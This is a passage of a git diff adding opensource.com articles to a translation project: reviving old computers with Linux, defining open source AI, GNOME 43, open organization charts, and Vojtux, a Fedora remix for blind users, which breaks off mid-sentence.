netbooks][6] using Linux. Netbooks are also ideal for mailing overseas to a school in Liberia, a hospital in Haiti, a food distribution site in Somalia, or anywhere else where donated technology could make a huge difference. + +Do you know where refurbished netbooks would really be welcome? In the communities that have opened their hearts and homes to Ukrainian refugees. They're doing their part, and we ought to be doing ours. + +### Open source revives old computers + +Many technology professionals live in a bubble of privilege. When they declare a technology "obsolete," they might not realize the harm they are causing by representing this opinion as a fact. People unfamiliar with how open source can revive older computers are sentencing those computers to death. I won't stand idly by when that happens. And you should not, either. + +A simple response to a person who declares a computer obsolete is to say, "Sometimes older computers can be revived and put back to use. I've heard that open source is one way of doing that." + +If you know the person well, you might want to share links to some of the YouTube videos listed in this article. And when you get a chance, take a moment to meet an individual or family who lacks access to the technology they need. That meeting will enrich your life in ways you would have never imagined. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/10/obsolete-computer-linux-opportunity + +作者:[Phil Shapiro][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/pshapiro +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/retro_old_unix_computer.png +[2]: https://www.youtube.com/watch?v=Ao_vOijz14U +[3]: https://www.youtube.com/watch?v=UZiN6nm-PUU +[4]: https://opensource.com/tags/libreoffice +[5]: https://opensource.com/downloads/inkscape-cheat-sheet +[6]: https://www.youtube.com/watch?v=GBYEclpvyGQ diff --git a/sources/talk/20221010 Defining an open source AI for the greater good.md b/sources/talk/20221010 Defining an open source AI for the greater good.md new file mode 100644 index 0000000000..e1ef20799b --- /dev/null +++ b/sources/talk/20221010 Defining an open source AI for the greater good.md @@ -0,0 +1,101 @@ +[#]: subject: "Defining an open source AI for the greater good" +[#]: via: "https://opensource.com/article/22/10/defining-open-source-ai" +[#]: author: "Stefano Maffulli https://opensource.com/users/reed" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Defining an open source AI for the greater good +====== +Join the conversation by joining the four Deep Dive: AI panel discussions starting on October 11. + +Artificial intelligence (AI) has become more prevalent in our daily lives. While AI systems may intend to offer users convenience, there have been numerous examples of automated tools getting it wrong, resulting in serious consequences. What's happening in the AI system that leads to erroneous and harmful conclusions? Probably a dramatic combo of bad AI combined with a lack of human oversight. How do we as a society prevent AI ethics fails? + +The open source community has had, for well over 20 years, clear processes for dealing with errors ("bugs") in software. The [Open Source Definition][2] firmly establishes the rights of developers and the rights of users. There are frameworks, licenses, and a legal understanding of what needs to be done. When you find a bug, you know who to blame, you know where to report it, and you know how to fix it. But when it comes to AI, do you have the same understanding of what you need to do in order to fix a bug, error, or bias? + +In reality, there are many facets of AI that don't fit neatly into the Open Source Definition. + +### Establishing boundaries for AI + +What's the boundary between the data that trains an AI system and the software itself? In many ways, AI systems are like black boxes: it isn't really understood what happens inside, and very little insight for how a system has reached a specific conclusion. You can't inspect the networks inside that are responsible for making a judgment call. So how can open source principles apply to these "black boxes" making automated decisions? + +For starters, you need to take a step back and understand what goes into an AI's automated decision-making process. + +### The AI decision process + +The AI process starts with collecting vast amounts of training data-data scraped from the internet, tagged and cataloged, and fed into a model to teach it how to make decisions on its own. However, the process of collecting a set of training data is itself problematic. It's a very expensive and time-consuming endeavor, so large corporations are better positioned to have the resources to build large training sets. Companies like Meta (Facebook) and Alphabet (Google) have been collecting people's data and images for a long, long time. (Think of all the pictures you've uploaded since before Facebook or even MySpace existed. I've lost track of all the pictures I've put online!) Essentially anything on the Internet is fair game for data collection, and today mobile phones are basically real-time sensors feeding data and images to a few mega-corporations and then to Internet-scrapers. + +Examining the data going into the system is just scratching the surface. I haven't yet addressed the models and neural networks themselves. What's in an AI model? How do you know when you're chatting with a bot? How do you inspect it? How do you flag an issue? How do we fix it? How do we stop it in case it gets out of control? + +It's no wonder that governments around the world are not only excited about AI and the good that AI could do, but also very concerned about the risks. How do we protect each other, and how do we ask for a *fair* AI? How do we establish not just rules and regulations, but also social norms that help us all define and understand acceptable behavior? We're just now beginning to ask these questions, and only just starting to identify all the pieces that need to be examined and considered. + +To date, there aren't any guiding principles or guardrails to orient the conversation between stakeholders in the same way that, for instance, the [GNU Manifesto][3] and later the Open Source Definition provides. So far, everyone (corporations, governments, academia, and others) has moved at their own pace, and largely for their own self-interests. That's why the Open Source Initiative (OSI) has stepped forward to initiate a collaborative conversation. + +### Open Source Initiative + +The Open Source Initiative has launched [Deep Dive: AI][4], a three-part event to uncover the peculiarities of AI systems, to build understanding around where guardrails are needed, and to define Open Source in the context of AI. Here's a sampling of what the OSI has discovered so far. + +#### Copyright + +AI models may not be covered by copyright. Should they be? + +Developers, researchers, and corporations share models publicly, some with an Open Source software license. Is that the right thing to do? + +The output of AI may not be covered by copyright. That raises an interesting question: Do we want to apply copyright to this new kind of artifact? After all, copyleft was invented as a hack for copyright. Maybe this is the chance to create an alternative legal framework. + +The release of the new Stable Diffusion model raises issues around the output of the models. Stable Diffusion has been trained on lots of images, including those owned by Disney. When you ask it to, for instance, create a picture of Mickey Mouse going to the US Congress, it spits out an image that looks exactly like Mickey Mouse in front of the US Capitol Building. That image may not be covered by copyright, but I bet you that the moment someone sells t-shirts with these pictures on it, Disney will have something to say about it. + +No doubt we'll have a test case soon. Until then, delve more into the copyright conundrum in the **Deep Dive: AI** podcast [Copyright, selfie monkeys, the hand of God][5]. + +#### Regulation + +The European Union is leading the way on AI regulation, and its approach is interesting. The AI Act is an interesting read. It's still in draft form, and it could be some time before it is approved, but its legal premise is based on risk. As it stands now, EU legislation would require extensive testing and validation, even on AI concepts that are still in their rudimentary research stages. Learn more about the EU’s legislative approach in the Deep Dive: AI podcast [Solving for AI’s black box problem][6]. + +#### Datasets + +Larger datasets raise questions. Most of the large, publicly available datasets that are being used to train AI models today comprise data taken from the web. These datasets are collected by scraping massive amounts of publicly available data and also data that is available to the public under a wide variety of licenses. The legal conditions for using this raw data are not clear. This means machines are assembling petabytes of images with dubious provenance, not only because of questionable legal rights associated with the uses of these images, code and text, but also because of the often illicit content. Furthermore, we must acknowledge that this internet data has been produced by the wealthier segment of the world's population—the people with access to the internet and smartphones. This inherently skews the data. Find out more about this topic in the Deep Dive: AI podcast [When hackers take on AI: Sci-fi – or the future?][7] + +#### Damage control + +AI can do real damage. Deep fakes are a good example. A Deep Fake AI tool enables you to impose the face of someone over the body of someone else. They're popular tools in the movie industry, for example. Deep Fake tools are unfortunately used also for nefarious purposes, such as making it appear that someone is in a compromising situation, or to distribute malicious misinformation. Learn more about Deep Fakes in Deep Dive: AI podcast [Building creative restrictions to curb AI abuse][8]. + +Another example is the *stop button* problem, where a machine trained to win a game can become so aware that it needs to win that it becomes resistant to being stopped. It sounds like science fiction, but it is an identified mathematical problem that research communities are aware of, and have no immediate solution for. + +#### Hardware access + +Currently, no real Open Source hardware stack for AI exists. Only an elite few have access to the hardware required for serious AI training and research. The volume of data consumed and generated by AI is measured in terabytes and petabytes, which means that special hardware is required to perform speedy computations on data sets of this size. Specifically, without graphic processing units (GPUs), an AI computation could take years instead of hours. Unfortunately, the hardware required to build and run these big AI models is proprietary, expensive, and requires special knowledge to set up. There are a limited number of organizations that have the resources to use and govern the technology. + +Individual developers simply don't have the resources to purchase the hardware needed to run these data sets. A few vendors are beginning to release hardware with Open Source code, but the ecosystem is not mature. Learn more about the hardware requirements of AI in the Deep Dive: AI podcast [Why Debian won’t distributed AI models anytime soon][9]. + +### AI challenges + +The [Open Source Initiative][10] protects open source against many threats today, but also anticipates the challenges, such as AI, of tomorrow. AI is a promising field, but it can also deliver disappointing results. Some AI guardrails are needed to protect creators, users, and the world at large. + +The Open Source Initiative is actively encouraging dialogue. We need to understand the issues and implications and help communities establish shared principles that ensure AI is good for us all. Join the conversation by joining the four [Deep Dive: AI panel discussions][11] starting on October 11. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/10/defining-open-source-ai + +作者:[Stefano Maffulli][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/reed +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/brain_computer_solve_fix_tool.png +[2]: https://opensource.org/osd +[3]: https://www.gnu.org/gnu/manifesto.en.html +[4]: https://deepdive.opensource.org/ +[5]: https://deepdive.opensource.org/podcast/copyright-selfie-monkeys-the-hand-of-god/ +[6]: https://deepdive.opensource.org/podcast/solving-for-ais-black-box-problem/ +[7]: https://deepdive.opensource.org/podcast/when-hackers-take-on-ai-sci-fi-or-the-future/ +[8]: https://deepdive.opensource.org/podcast/building-creative-restrictions-to-curb-ai-abuse +[9]: https://deepdive.opensource.org/podcast/why-debian-wont-distribute-ai-models-any-time-soon/ +[10]: https://opensource.org +[11]: https://deepdive.opensource.org/ diff --git a/sources/talk/20221016.0 ⭐️⭐️ What’s new in GNOME 43.md b/sources/talk/20221016.0 ⭐️⭐️ What’s new in GNOME 43.md new file mode 100644 index 0000000000..3e6109f32f --- /dev/null +++ b/sources/talk/20221016.0 ⭐️⭐️ What’s new in GNOME 43.md @@ -0,0 +1,74 @@ +[#]: subject: "What’s new in GNOME 43?" +[#]: via: "https://opensource.com/article/22/10/whats-new-gnome-43-linux" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +What’s new in GNOME 43? +====== + +I love the [GNOME][1] desktop, and I use it as my daily [Linux desktop environment][2]. I find with GNOME, I can focus on the stuff I need to get done, but I still have flexibility to make the desktop look and act the way I want. + +The GNOME Project recently released GNOME 43, the latest version of the GNOME desktop. I met with GNOME developer Emmanuele Bassi to ask a few questions about this latest release: + +**Jim Hall (Jim): GNOME has lots of great desktop features. What are some of the new features in GNOME 43?** + +**Emmanuele Bassi (Emmanuele):** GNOME 43 has a complete redesign of the system status menu in the Shell. The new design is meant to give quick and easy access to various settings: network connections and VPNs; audio input and output sources and volumes; toggling between light and dark styles. It also has a shortcut for taking a screenshot or starting a screen recording. + +GNOME core applications have also been ported to the new major version of the GNOME toolkit, GTK4. GTK4 is more efficient when it comes to its rendering pipeline, which leads to smoother transitions and animations. Additionally, GNOME applications use libadwaita, which provides new UI elements and adaptive layouts that can seamlessly scale between desktop and mobile form factors. + +The GNOME file manager, Nautilus, is one of the applications that has been ported over to GTK4 and libadwaita, and it has benefitted from the new features in the core platform; it’s now faster, and it adapts its UI when the window is resized. + +The system settings can now show device security information, including manufacturing errors and hardware misconfiguration, as well as possible security issues like device tampering. Lots of work is planned for future releases, as device security is an area of growing concern. + +**Jim: What do you love most about GNOME 43?** + +**Emmanuele:** The most important feature of GNOME, one that I constantly take advantage of and that I always miss when I have to deal with other operating systems is how much the OS does not get in the way of what I’m doing. Everything is designed to let me concentrate on my job, without interruptions. I don’t have bells and whistles constantly on my screen, competing for attention. Everything is neatly tucked away, ready to be used only when I need to. + +**Jim: Many folks are familiar with GNOME today, but may not be familiar with its history. How did GNOME get started?** + +**Emmanuele:** GNOME started in 1997, 25 years ago, as a project for using existing free and open source components to create a desktop environment for everyone that would be respectful of users’ and developers’ freedom. At the time there were only commercial desktops for Unix, or desktops that were based on non-free components. Being able to take the entire desktop, learn from it, and redistribute it has always been a powerful motivator for contributors—even commercial ones. + +Over the past 25 years, GNOME contributors have worked not just on making the desktop, but creating a platform capable of developing and distributing applications. + +**Jim: Open source projects keep going because of a strong community. What keeps the GNOME community strong?** + +**Emmanuele:** I don’t pretend to speak for everyone in the project, but for myself I think the main component is the respect of every voice within the community of contributors, which comes from the shared vision of creating an entirely free and open platform. We all know where we want to go, and we are all working towards the same goal. Sometimes, we may end up pulling in different directions, which is why donating to entities like the GNOME Foundation, which sponsor gatherings and conferences, is crucial: they allow a more comprehensive communication between all the involved parties, and at the end we get better results for it. + +GNOME also takes very seriously respectful communication between members of the community; we have a strong code of conduct, which is enforced within the community itself and covers all venues of communication, including in person events. + +**Jim: GNOME established the Human Interface Guidelines (HIG) to unify the GNOME design and GNOME app interfaces. How did the HIG come about?** + +**Emmanuele****:**The Human Interface Guidelines (HIG) came into being after Sun did a usability study on GNOME 1, one of the very first usability studies for a free software project. The findings from that study led to the creation of a standardized document that projects under the GNOME umbrella would have to follow, which is how we ended up with GNOME 2, back in 2002. + +The HIG was a rallying point and a symbol, a way to demonstrate that the entire project cared about usability and accessibility, and it provided the tools to both desktop and application developers to create a consistent user experience. + +Over the years, the HIG moved away from being a complete checklist of pixels of padding and grids of components, and instead it now provides design principles, UI patterns, conventions, and resources for contributors and application developers. The HIG now has its own implementation library, called libadwaita, which application developers can use when targeting GNOME, and immediately benefit from a deeper integration within the platform without having to re-implement the various styles and patterns manually. + +_Thanks to Emmanuele Bassi for answering this interview. You can find GNOME at_[_https://www.gnome.org/_][3] + +_Read the release announcement for GNOME 43 at_[_https://release.gnome.org/43/_][4] + +_Learn about what’s new in GNOME 43 for developers at_[_https://release.gnome.org/43/developers/_][5] + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/10/whats-new-gnome-43-linux + +作者:[Jim Hall][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/19/12/gnome-linux-desktop +[2]: https://opensource.com/article/20/5/linux-desktops +[3]: https://www.gnome.org/ +[4]: https://release.gnome.org/43/ +[5]: https://release.gnome.org/43/developers/ diff --git a/sources/talk/20221018.2 ⭐️⭐️⭐️ Exploring innovative Open Organization charts.md b/sources/talk/20221018.2 ⭐️⭐️⭐️ Exploring innovative Open Organization charts.md new file mode 100644 index 0000000000..6ee7fe0e8a --- /dev/null +++ b/sources/talk/20221018.2 ⭐️⭐️⭐️ Exploring innovative Open Organization charts.md @@ -0,0 +1,189 @@ +[#]: subject: "Exploring innovative Open Organization charts" +[#]: via: "https://opensource.com/article/22/10/innovative-open-organization-chart" +[#]: author: "Ron McFarland https://opensource.com/users/ron-mcfarland" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Exploring innovative Open Organization charts +====== + +The ability to react quickly and adapt to changing situations is critical in today's business and work environment. In the past, offering efficient, standardized systems was the way to reduce costs and provide more to the public. In today's rapidly changing world, that's not enough. Collaborating, deciding, and executing quickly on a project requires that the traditional organization chart change to strengthen **adaptability**, **transparency**, **collaboration**, **inclusivity,** and project **community—**all five Open Organization Principles. Today, there are too many interdependencies to stick to the traditional top-down organization chart. + +I just read the book [Team of Teams, by Stanley McChrystal][1], which discusses this concern, particularly in military combat situations. It is the efficiency of small, empowered, trusted, goal-oriented teams working together (and with other teams) that will be successful in the future. Their ability to interact with other teams will make a small group scalable within a large organization. McChrystal writes that adaptability, transparency, and cross-silo collaboration are key to their success. These are three of the Open Organization Principles. I think it's equally valid in the business environment and not just in military operations. + +### Speed in decision-making and how to address continual unpredictability + +When do you make a decision yourself, and when do you take decisions to top management? McChrystal states, "a 70% chance of success today is better than 90% tomorrow when speed of action is critical." These days, the competitors, or enemies, are moving at that pace. + +In my article "[The 4 components of a great decision, What makes a "good" open decision?][2]" I wrote that decision-making speed was very important. Well, that's more true than ever, and you can't do that if you need approvals up and down a large vertical organization chart. Quick decisions must be made on the frontline, where the issues are. A horizontal organization that gets the people most directly involved in the decision-making process is required and is part of the strength that McChrystal is talking about. + +![A horizontal org chart with connections between teams][3] + +Image by: + +(Ron McFarland, CC BY-SA 4.0) + +These connections should have solid lines, and the vertical lines should be dotted, as communications should go up the line only when need be and horizontally minute by minute in real-time. + +### Information reversal + +In another presentation, I talked about an upside-down organization chart, which I called the [hierarchy of support][4]. Compare this with a vertical organizational chart. + +![Hierarchy of company objectives][5] + +Image by: + +(Ron McFarland, CC BY-SA 4.0) + +A typical vertical organization chart has top management in the top box. The staff provided frontline information to superiors so that they could decide. + +Then, lines connect downward to departments under the top box, and directives move downward. Task directives flow from those department managers to the staff under them. + +In a rapidly changing, unpredictable environment, the superiors should provide surrounding information to the staff so frontline people can make decisions independently. Imagine turning that organization chart upside down, with top management at the bottom and the staff at the top. + +![Hierarchy of company support][6] + +Image by: + +(Ron McFarland, CC BY-SA 4.0) + +With today's information technology, the frontline staff is often better informed than their superiors. Therefore, managers' main job is to support the staff where needed, but the decisions should be made rapidly on the frontline. + +McChrystal uses the expression, "Eyes on - Hands off." I think he is suggesting what I'm saying in a different way. He calls top managers giving directives "chess players" and supporting managers "gardeners." + +McChrystal started a training company called [Crosslead][7] that trains individuals and companies on how this type of organization works. Their name implies the horizontal, frontline communication I mentioned in my upside-down organization chart. + +The book mentions Open Organization Principles throughout: + +- **Adaptability**, which he calls "resilience." +- **Collaboration**, which is horizontal within teams and between teams. +- **Community**, which is **Inclusivity** and **Transparency** within teams. + +### Getting through the forest by knowing the working environment + +Imagine your goal is to get through a forest to your home on the other side. Unfortunately, the forest is rapidly changing because of the weather and climate. + +One person gives you a map of the best way to go through the forest, but that map was made in the past and might be outdated. It might be the best way to get home, but blockages along that route may force you to return to your starting location. + +Another person has a current satellite image of the forest which shows every possible route and its present condition. Furthermore, he has guides spread throughout the forest who can communicate and advise you on the best route. + +Wouldn't the second method be more reliable with a rapidly changing forest? + +### McChrystal's organization chart + +It starts with a frontline team, a specific goal, and members' specific tasks. The members select a leader depending on the task at hand. Who is most experienced, informed, and qualified to lead them toward the given team goal? + +It might well be that the official leader is the least qualified to make decisions, so the system is very slow at best and freezes at worst. Who will most people follow? That will determine the leader of any given task. + +McChrystal writes about the "Perry Principle," in which top management could not give orders by sea because there was no communication system in [Admiral Perry's][8] days. McChrystal calls this a "principle" because empowerment was given to frontline staff as a last resort and only when forced. He thinks this should be reversed. Top management should only make the decision themselves when the frontline people can't decide for one reason or another. + +The team chart that McChrystal is proposing is on the right. + +![Command organizational chart versus team organizational chart][9] + +Image by: + +Team of Teams, page 96. + +An exponential growth in frontline connectedness speeds up the communication and action process in a way that the current hierarchical structure can not handle. The command chart on the left is just too slow in a rapidly changing environment. + +By the time the situation is reported, everything changes and reported information is obsolete. Therefore, a frontline leader, like a start-up entrepreneur, must have the authority, initiative, intuition, and creative thinking to make decisions and immediately act on them to achieve the best result. Speed determines success or failure. + +Up until now, adaptability has mostly been characteristic of small interactive teams rather than large top-down hierarchies. + +In this new environment, that frontline leader's superior must withhold decision-making on the one hand but relentlessly support the frontline on the other. This will lead to frontline decision-making competence to iterate and adjust in a fraction of the normal time. + +### Attention directed from efficiency to adaptability + +McChrystal introduces the work of [Frederick Winslow Taylor][10], who developed the reductionist theory and the optimization and standardization of processes. This process was the most efficient way to reduce costs and save energy. He believed there was one ideal way for any process. + +So, he researched processes, developed instruction sheets, and instructed the frontline staff just to follow directions. It was a hard and fast line between thinking (by the researcher) and action (by the frontline worker). This approach is fine for repeated, well-known, stable processes, but not in changing environments, like factories with complicated but linear predictable activities, but not in changing environments. Unfortunately, this concept took the initiative to improve away from the frontline operator, as all they had to do was act and not think. + +When modification was required, the frontline worker froze, unqualified and unskilled at adapting. + +McChrystal writes that his military combat environment is not predictable. It is a "complex system." This complexity has countless unpredictable interdependencies in the environment. + +When one event takes place, it may have a massive impact or no impact at all. This results in great unpredictability. We have to manage this unpredictability. In the past, communication was from a few to a few with some connected impact. Now, it is many to many, and no one knows who or what the impact is on who or what. It is totally unpredictable. + +I believe this reductionist process is still important, but it can only go so far. + +Therefore, those basic practice instruction sheets should come in the form of suggestions only and not orders to follow. McChrystal calls these situations _complexity systems_. It's like opening and walking through a door only to learn of other doors to choose from. + +Those other doors cannot be foreseen without walking through the previous door. After selecting one of those doors, you discover more doors to choose from. To be most effective, whenever you select a door, you let everyone in the system know which one you picked and ask for advice if available. This is where real-time transparency is vital. In this environment, planning is not helpful, but feedback is. + +Being better equipped and more efficient are not enough in complex environments. Being agile and resilient become critical factors. When disturbances come, the system must continue to function and adjust. This is all-important in a world of continual situational change. In this world, planning for disruption is vital. It is "rolling with the punches" or even benefiting from them by developing an immune system to disruption. When shocks come, options have been planned, developed, practiced, and applied when needed. Simply working on one ideal process is not enough. If all the attention is on the execution of one procedure, other more helpful skills may suffer. It is moving away from predicting a single forecast, exploring all possibilities, and preparing for them. McChrystal asks to contrast efficiency and effectiveness. He says, "Efficiency is doing things right. Effectiveness is doing the right thing." He thinks the latter is more important in a complex situation. To do that, people should be skilled in many rarely needed but still necessary tasks. + +### Collaboration over vertical communication walls + +Furthermore, breaching vertical walls between divisions or teams increases the speed of action, particularly where cross-functional collaboration is vital to the speed of response. + +According to McChrystal, both between teams and within teams, collective consciousness is developed over years of joint practice, trust building, cooperation, deep group, and individual understanding, bonding, and service to their greater purpose. + +The entire group can improvise in a coordinated way when necessary. Teamwork is a process of reevaluating everyone's move and intent, constant messaging, and real-time adjustment. + +### Barriers between teams + +As you move down the traditional organization chart, motivation and contextual awareness become more limited and specific, and greater distance from the overall organization's objectives. Members are tight within their team but separated from the other groups within the organization and possibly the entire organization's goals. + +![Command of teams organizational chart][11] + +Image by: + +Team of Teams, page 129 + +### Real-time communication and connections between teams + +In a complex, rapidly changing environment, the below chart is more appropriate, where there is a good deal of continual information flow and connections. + +![Inter-team organizational chart][12] + +Image by: + +Team of Teams, page 129 + +Team members tackling complex environments must all grasp not just their team's purpose but the overarching goal of the entire organizational system. They must also consider how their activities impact other groups. + +To be successful, team participation and team-to-team participation are vital, according to McChrystal. In Jim Whitehurst's [book][13] on letting and encouraging everyone to speak up in meetings, even the quiet people express this same point. + +I wrote about it in my first article, [When empowering employee decision-making, intent is everything][14], posted on April 19, 2016. This concept is true when trying to connect teams as well. + +Teams working on a problem and collaborating in real time can perform tasks more concurrently rather than sequentially, saving a massive amount of valuable time. + +### Wrap up + +This article presents several images of new organization chart concepts. Unofficially, to get things done, much horizontal communication has been going on for decades. The difference now is that updates are in minutes and not at weekly or monthly meetings. + +I also discussed the importance of the speed of decision-making in today's working environment and that a new real-time communication flow system is needed. I mentioned that at least three critical Organization Principles, namely adaptability, transparency, and collaboration, were vitally important to make communication flow and allow faster decision-making and execution. Furthermore, I also presented that just having a highly efficient and low-cost system is not enough when faced with a rapidly changing, unpredictable working environment. An approach better able to adapt to change needs to be introduced and put into use, namely a new open organization chart. + +In the second part of this article, I will discuss how this type of organization can work, including how to develop it and improve it. Also, I'll give examples of how it can work in various situations. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/10/innovative-open-organization-chart + +作者:[Ron McFarland][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/ron-mcfarland +[b]: https://github.com/lkxed +[1]: https://www.shortform.com/summary/team-of-teams-summary-stanley-mcchrystal?gclid=CjwKCAjwy_aUBhACEiwA2IHHQFl6iYqOX4zSl3JxC-BVubNJo3Ee11s2nF2t4HMN6roJn2yehivPshoCXlQQAvD_BwE +[2]: https://opensource.com/open-organization/17/3/making-better-open-decisions +[3]: https://opensource.com/sites/default/files/2022-10/horizontal-org-chart.png +[4]: https://www.slideshare.net/RonMcFarland1/hierarchy-of-objectives-support +[5]: https://opensource.com/sites/default/files/2022-10/hierarchy-company-objectives.png +[6]: https://opensource.com/sites/default/files/2022-10/hierarchy-company-support.png +[7]: http://www.crosslead.com/ +[8]: https://en.wikipedia.org/wiki/Matthew_C._Perry +[9]: https://opensource.com/sites/default/files/2022-10/command-vs-team-chart.png +[10]: https://en.wikipedia.org/wiki/Frederick_Winslow_Taylor +[11]: https://opensource.com/sites/default/files/2022-10/command-of-teams.png +[12]: https://opensource.com/sites/default/files/2022-10/connections-between-teams.png +[13]: https://www.goodreads.com/book/show/23258978-the-open-organization +[14]: https://opensource.com/open-organization/16/4/when-empowering-employee-decision-making-intent-everything diff --git a/sources/talk/20221024.5 ⭐️⭐️ Remixing Linux for blind and visually impaired users.md b/sources/talk/20221024.5 ⭐️⭐️ Remixing Linux for blind and visually impaired users.md new file mode 100644 index 0000000000..fbbc0a73db --- /dev/null +++ b/sources/talk/20221024.5 ⭐️⭐️ Remixing Linux for blind and visually impaired users.md @@ -0,0 +1,108 @@ +[#]: subject: "Remixing Linux for blind and visually impaired users" +[#]: via: "https://opensource.com/article/22/9/linux-visually-impaired-users" +[#]: author: "Vojtech Polasek https://opensource.com/users/vpolasek" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Remixing Linux for blind and visually impaired users +====== + +Vojtux, a Fedora project, is an unofficial Linux distribution aimed at visually impaired users. + +When I was around 5 years old, my father brought home our first computer. From that moment on, I knew I wanted to pursue a career in computers. I haven't stopped hanging around them since. During high school, when considering which specific area I wanted to focus on, I started experimenting with hacking, and that was the moment I decided to pursue a career as a security engineer. + +I'm now a software engineer on the security compliance team. I've been at Red Hat for over two years, and I work remotely in the Czech Republic. I've used Linux for about 12 years, mainly Arch Linux and Fedora, but I've also administered Debian, Gentoo, and Ubuntu in the past. + +![Image of Vojtech][1] + +Photo description: Black and white image of a smiling Vojtech, with a red frame around it and an illustrated paper airplane in the background. + +Outside of my day job, I play blind football, and I'm involved in various projects connecting visually impaired and sighted people together, including working in a small NGO that runs activities for blind and visually impaired people. I'm also working on an accessible Fedora project called [Vojtux][2], an unofficial Linux distribution aimed at visually impaired users. + +### The assistive technology stack + +When I use a smart device, I need several pieces of assistive technology. The first and most essential is called a screen reader. This is software that presents what's on the screen to blind or visually impaired people, either through speech or through braille (basically, it tries to serve as our eyes). It can read out notifications and tell me which button or page element I'm focusing on, allowing me to interact with graphical user interfaces. + +Screen readers use speech synthesis to speak aloud what appears on the screen. There are a variety of speech synthesizers, and some voices are more "natural-sounding" than others. The one I use, Espeak, is not very natural-sounding, but it's lightweight and fast. It also supports almost all languages, including Czech (which I use). + +Finally, I use a Braille display, a device that represents a line of text in Braille. I use this a lot, especially when I'm coding or doing code reviews. It's easier to grasp the structure of code when I can freely move from one code element to another by touch. I can also use its buttons to move the cursor to the character or area of the screen I'm interested in, and it has a Braille keyboard too if I want to use it. + +### How I use assistive technology on a daily basis + +When using a computer as a blind or visually impaired person, there are a couple of things that are relatively straightforward to do using the tech above. Personally, these are a few of the things I do every day: + +- The text console is pretty much my favorite application. As a general rule, when something's in text, then blind people can read it with a screen reader (this doesn't hold true in all cases, but in most.) I mainly use the console for system management, text editing, and working with guidance and documentation. +- I browse the web and interact with websites. +- I code and do code reviews using VSCode and [Eclipse][3]. +- I send emails and instant messages. +- I can use word processing software, like Google Docs (which is not open source, but common in the modern office) and [LibreOffice][4]. Google Docs developers have added a lot of keyboard shortcuts, which I can use to move around documents, jump to headings or into comments, and so on. +- I can play multimedia, usually. It depends on how the application is written. Some media players are more accessible than others. + +### Possible but painful + +This brings me to tasks that aren't so easy. I like to call these "possible but painful". + +PDF files can be difficult. Sometimes I end up needing to use optical character recognition (OCR) software to convert images to text. For example, recently I needed to read a menu for a restaurant. They had the PDF of their menu on their website, but it had been flattened, and didn't have a text layer. For me, this shows up as a blank screen. I had to use an OCR application from my smartphone to extract the text for me. Not only is this an extra step, but the resulting "translation" of the text isn't always entirely accurate. + +Viewing and creating a presentation can be problematic. To work around this, I create slides in HTML, using software such as [Pandoc][5], which can process [markdown][6] and convert it into slides. I've been using this for many years and it works well—it allows me total control of the resulting slides, because the markdown is just simple text. + +Video games can be made more accessible by basing them on sound or text. However, playing games can be doubly challenging on Linux as not only would you need to find an accessible game, but most PC games are also native to Windows so you would be dealing with some compatibility issues as well. + +Some websites and interfaces are more difficult to navigate than others. These issues are often quite easy to solve just by setting some attributes correctly. In general, lots of web content comes in the form of images, especially today. One of the easiest ways to make web content more accessible is to make sure that alternative text is added to images so that screen readers can read it out, and people who cannot distinguish the image have some idea what's there. Another thing I experience a lot is unlabeled controls: you know there's a button or a check box but you don't know what it does. + +### The Vojtux project optimises Linux for accessibility + +Developers don't intentionally set out to build applications that aren't accessible. The problem is that they usually don't know how to test them. There aren't many blind Linux users, so there aren't many people testing the accessibility of applications and providing feedback. Therefore, developers don't produce accessible applications, and they don't get many users. And so the cycle continues. + +This is one thing we hope to tackle with the Vojtux project. We want to create a Fedora remix that's user-friendly for visually impaired and blind users. We hope it will attract more users, and that those users start discovering issues to report, which will hopefully be solved by other developers in the open source community. + +So why are we doing this? Well, it's important to point out that Fedora is not an inaccessible distribution by design. It does have many accessibility tools available in the form of packages. But these aren't always present from the beginning, and there are a lot of small things which need to be configured before it can be proficiently used. This is something that can be discouraging to a beginner Fedora user. + +We want Vojtux to be as friendly and predictable for a blind user as possible. When a user launches a live image, the screen immediately starts being read as soon as a graphical user interface appears. All [environment variables][7] needed for accessibility are loaded and configured correctly. + +Vojtux brings the following changes, among others: + +- Environment variables for accessibility are configured from the start. +- The Orca screen reader starts as soon as the graphical interface loads. +- A custom repo is added with extra voice synthesis and packaged software. +- Many alternative keyboard shortcuts have been added. +- There's a special script that can turn your monitor on and off. Many users do not need the monitor at all and having it off is a great power saver! + +### So how can you help? + +First, if you'd like to contribute to Vojtux (or just spread the word), you can find out more on [our repository][2]. + +Additionally, when working on a team with someone who has a visual impairment, there might be some additional 